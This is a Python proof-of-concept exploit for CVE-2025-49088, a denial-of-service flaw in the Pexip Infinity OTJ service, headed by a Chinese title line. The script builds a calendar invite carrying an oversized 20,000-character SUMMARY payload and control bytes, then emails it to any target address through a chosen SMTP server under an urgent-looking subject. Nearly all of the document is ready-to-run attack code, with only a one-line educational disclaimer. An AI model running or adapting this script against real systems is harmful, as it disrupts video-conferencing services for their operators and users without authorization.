CVE-2025-49088 Pexip Infinity OTJ服务输入验证不当导致拒绝服务

#!/usr/bin/env python3 """ CVE-2025-49088 PoC - Pexip Infinity OTJ Service DoS This PoC demonstrates sending a crafted calendar invite to trigger improper input validation in Pexip Infinity OTJ service. Note: This is for educational and authorized testing purposes only. """ import smtplib from email.mime.text import MIMEText from email.mime.multipart import MIMEMultipart from datetime import datetime, timedelta def create_crafted_calendar_invite(): """Generate a crafted iCalendar invite with malicious payload""" # Start time: tomorrow start_time = datetime.now() + timedelta(days=1) end_time = start_time + timedelta(hours=1) # Format for iCalendar (YYYYMMDDTHHMMSSZ) dtstart = start_time.strftime('%Y%m%dT%H%M%S') dtend = end_time.strftime('%Y%m%dT%H%M%S') uid = f"exploit-{datetime.now().strftime('%Y%m%d%H%M%S')}@attacker.com" # Crafted iCalendar with malicious payload in SUMMARY field # This payload exploits improper input validation crafted_payload = "A" * 10000 + "\n" + "B" * 10000 # Oversized field ical_content = f"""BEGIN:VCALENDAR VERSION:2.0 PRODID:-//Pexip//OTJ Exploit//EN METHOD:REQUEST BEGIN:VEVENT UID:{uid} DTSTAMP:{datetime.now().strftime('%Y%m%dT%H%M%S')}Z DTSTART:{dtstart} DTEND:{dtend} SUMMARY:{crafted_payload} DESCRIPTION:Test meeting with crafted payload for CVE-2025-49088\n\n\x00\x01\x02 ORGANIZER:mailto:[email protected] ATTENDEE;CN=Attacker;ROLE=REQ-PARTICIPANT:mailto:[email protected] END:VEVENT END:VCALENDAR""" return ical_content def send_crafted_invite(target_email, smtp_server='localhost', smtp_port=25): """Send the crafted calendar invite via email""" ical_content = create_crafted_calendar_invite() msg = MIMEMultipart('mixed') msg['From'] = '[email protected]' msg['To'] = target_email msg['Subject'] = 'Meeting Invitation - Urgent Action Required' # Attach the crafted iCalendar calendar_part = MIMEText(ical_content, 'calendar', 'utf-8') calendar_part.add_header('Content-Disposition', 'attachment', filename='meeting.ics') msg.attach(calendar_part) try: with smtplib.SMTP(smtp_server, smtp_port) as server: server.send_message(msg) print(f"[+] Crafted calendar invite sent to {target_email}") return True except Exception as e: print(f"[-] Failed to send: {e}") return False if __name__ == "__main__": import sys if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_email> [smtp_server] [smtp_port]") sys.exit(1) target = sys.argv[1] smtp = sys.argv[2] if len(sys.argv) > 2 else 'localhost' port = int(sys.argv[3]) if len(sys.argv) > 3 else 25 send_crafted_invite(target, smtp, port)